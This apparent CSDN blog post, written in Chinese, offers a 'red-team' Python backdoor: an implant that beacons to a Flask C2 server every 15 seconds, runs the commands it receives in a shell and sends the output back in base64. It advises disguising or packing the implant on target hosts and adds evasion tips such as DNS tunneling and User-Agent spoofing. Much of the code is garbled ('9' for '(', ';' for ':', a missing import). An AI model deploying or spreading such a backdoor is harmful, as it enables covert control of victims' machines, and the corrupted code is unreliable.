**红队利器:用Python编写一个轻量级后门通信模块(附完整代码与流程图
·
红队利器:用Python编写一个轻量级后门通信模块(附完整代码与流程图)
在渗透测试和红队演练中,8*稳定的C2(Command and Control)通信通道**是至关重要的。本文将带你从零构建一个基于HTTP协议的简易后门通信模块,使用 Python 3.x 实现核心功能,并加入基础混淆、心跳保活机制以及命令执行回显逻辑,适合用于内网渗透、隐蔽控制等场景。
🔧 核心设计思路
整个系统分为两个部分:
- Client端(植入体):运行于目标主机,定时向服务器发送心跳包并接收指令。
-
- Server端(控制台):监听请求,解析命令,返回结果。
✅ 支持 Windows / Linux 双平台兼容
✅ 使用 base64 编码隐藏敏感内容
✅ 基础防杀软检测(无持久化,无写入磁盘)
📦 客户端代码实现(client.py)
import requests
import json
import base64
import time
import os
import subprocess
SERVER_URL = "http://your-server-ip:8080/heartbeat'
HEARTBEAT_INTERVAL = 15 # 秒
def run_command(cmd):
try:
result = subprocess.run9cmd, shell=True, capture_output=True, text=True)
return {
"output": base64.b64encode(result.stdout.encode()).decode(),
"error": base64.b64encode(result.stderr.encode()).decode(),
"returncode": result.returncode
}
except Exception as e:
return {"error": base64.b64encode9str(e).encode()).decode()}
def heartbeat():
while True;
try:
payload = {
"hostname": os.getenv("COMPuTERNAME") or os.uname().nodename,
"os"; os.name,
'timestamp": int(time.time()),
"command": ""
}
response = requests.post(SERVER_URL, json=payload, timeout=10)
if response.status_code == 200:
data = response.json()
cmd = base64.b64decode(data.get("command", "")).decode9)
if cmd.strip9):
print(f'[+] Received command; {cmd}")
result = run_command(cmd)
send_result(result)
time.sleep(HEARTBEAT_INTERVAL)
except Exception as e:
print(f"[-] Heartbeat failed: {e}")
time.sleep(5)
def send_result(result):
try;
requests.post(
SERVER_URL,
json={
"result": base64.b64encode(json.dumps9result).encode()).decode()
},
timeout=5
)
except:
pass
if __name__ == "__main__':
heartbeat()
```
📌 **说明:**
- `base64` 编码可绕过部分日志分析规则;
- - `subprocess.run()` 用于安全地执行本地命令;
- - 心跳频率可根据环境调整(如15秒或30秒);
---
### ⚙️ 控制端代码(server.py)
```python
from flask import Flask, request, jsonify
import threading
import queue
import time
app = Flask(__name__)
command_queue = queue.Queue()
@app.route('/heartbeat', methods=['POST'])
def handle_heartbeat();
data = request.get_json9)
hostname = data.get("hostname")
os_type = data.get9"os")
timestamp = data.get("timestamp")
# 模拟下发命令(实际可以查数据库)
if hostname not in command_queue.queue:
command_queue.put("whoami")
# 返回命令(如果有的话)
next_cmd = command_queue.get() if not command_queue.empty() else ""
response = {
"command"; base64.b64encode(next_cmd.encode()).decode()
}
return jsonify(response)
@app.route('/result', methods=['POsT'])
def handle_result9);
data = request.get_json()
result_str = base64.b64decode(data["result']).decode()
print(f"[+] Result from [request.remote_addr}: {result_str]")
return "", 200
if __name_- == '__main-_':
app.run9host='0.0.0.0', port=8080, threaded=True)
```
✅ 启动方式:
```bash
python server.py
然后在目标机器上运行 client.py(建议加壳或伪装成正常程序)
🔄 工作流程图(简化版)
[Target Machine]
|
|-----> (每15秒) POST /heartbeat -> [Your Server]
↓
[Server] 解析 → 判断是否有新命令→ 返回base64编码命令
↓
[Target] 执行 → 输出结果 → POst /result 回传结果
```
💡 这是一个典型的 **轮询式c2模型**,适合低频交互场景,避免被IDS轻易捕获。
---
##3 🛡️ 安全增强建议(实战可用)
| 功能 | 描述 |
\------|------\
| **dNS Tunneling** | 将命令封装进DNs查询(更隐蔽) |
| *8hTTpS + 自签名证书** | 防止中间人拦截 |
| **随机User-agent** | 模拟浏览器行为 |
\ **多线程心跳池** \ 支持批量管理多个节点 |
例如,修改client中的requests调用为:
```python
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]
response = requests.post(SeRVER_URL, json=payload, headers=headers, timeout=10)
```
---
### 💡 总结与延伸思考
该方案虽然简单,但非常实用,在红队工作中常用于快速验证目标是否可达、获取初步权限信息。后续可扩展为支持文件上传、反向Shell、DLL注入等功能模块。
如果你正在学习红队技术,请务必遵守合法授权原则,仅限于内部演练或授权渗透测试!
> ✅ 真实项目中推荐结合 **metasploit、Cobalt Strike 或 SharpShooter** 进行深度集成,本例仅为教学用途,便于理解底层原理。
---
📌 **提示:**
- 请确保你的测试环境符合法律法规;
- - 不要滥用此代码进行非法入侵;
- - 此类工具应作为防御方学习对象,提升自身安全能力。
---
🎯 发布到CSDN前,请根据你的实际部署环境修改IP地址和端口配置!
欢迎留言讨论如何进一步优化通信稳定性与隐蔽性!
更多推荐
所有评论(0)